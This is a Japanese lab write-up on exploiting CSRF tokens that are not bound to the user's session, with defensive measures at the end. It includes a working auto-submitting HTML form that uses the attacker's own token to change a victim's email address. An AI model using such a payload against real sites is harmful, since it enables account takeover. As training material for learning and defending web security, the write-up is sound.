Shikata Ga Nai

Private? There is no such things.

LAB: CSRFトークンがセッションと紐づいていない場合の攻撃手法と対策

Hello there, ('ω')ノ

🔍 脆弱性の概要

このラボでは、CSRFトークンがユーザーのセッションと適切に紐づいていないため、攻撃者が自分のトークンを利用して他のユーザーのアカウントに対して不正な操作を行うことが可能です。具体的には、攻撃者が自身の有効なCSRFトークンを使用して、被害者のアカウントのメールアドレスを変更することができます。


🛠️ 攻撃手順

1. 攻撃者アカウントでログインし、CSRFトークンを取得

  • wiener:peter の資格情報を使用してログインします。
  • 「メールアドレスの変更」フォームを開き、HTMLソースからCSRFトークンの値を確認します。

2. 攻撃用のHTMLフォームを作成

取得したCSRFトークンを使用して、以下のような自動送信されるHTMLフォームを作成します。

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="attacker@evil-user.net" />
  <input type="hidden" name="csrf" value="ATTACKER_CSRF_TOKEN" />
</form>
<script>
  document.forms[0].submit();
</script>
  • YOUR-LAB-ID はラボのURLに置き換えてください。
  • ATTACKER_CSRF_TOKEN は先ほど取得した攻撃者のCSRFトークンに置き換えてください。

3. 攻撃用HTMLをエクスプロイトサーバーにアップロード

  • ラボに付属のエクスプロイトサーバーにアクセスします。
  • 作成したHTMLコードを「Body」セクションに貼り付け、「Store」をクリックして保存します。

4. 被害者に攻撃用HTMLを閲覧させる

  • エクスプロイトサーバーで「Deliver to victim」をクリックします。
  • 被害者がログイン中であれば、自動的にメールアドレスが変更されます。

✅ 検証方法

  • 自身のアカウントでログインし、メールアドレスが変更されているか確認します。
  • または、ラボの指示に従い、被害者アカウントでの変更を確認します。

🔒 防御策

このような脆弱性を防ぐためには、以下の対策が有効です。

  • CSRFトークンをユーザーセッションに紐づける:各ユーザーセッションごとに一意のトークンを生成し、サーバー側で管理します。
  • トークンの検証時にセッション情報と照合する:リクエストに含まれるトークンが、サーバー側で保持しているセッションのトークンと一致するか確認します。
  • トークンの再利用を防ぐ:トークンを一度使用したら無効化し、再利用を防ぎます。

これらの対策により、攻撃者が自身のトークンを使用して他のユーザーのアカウントに対して不正な操作を行うことを防ぐことができます。

Best regards, (^^ゞ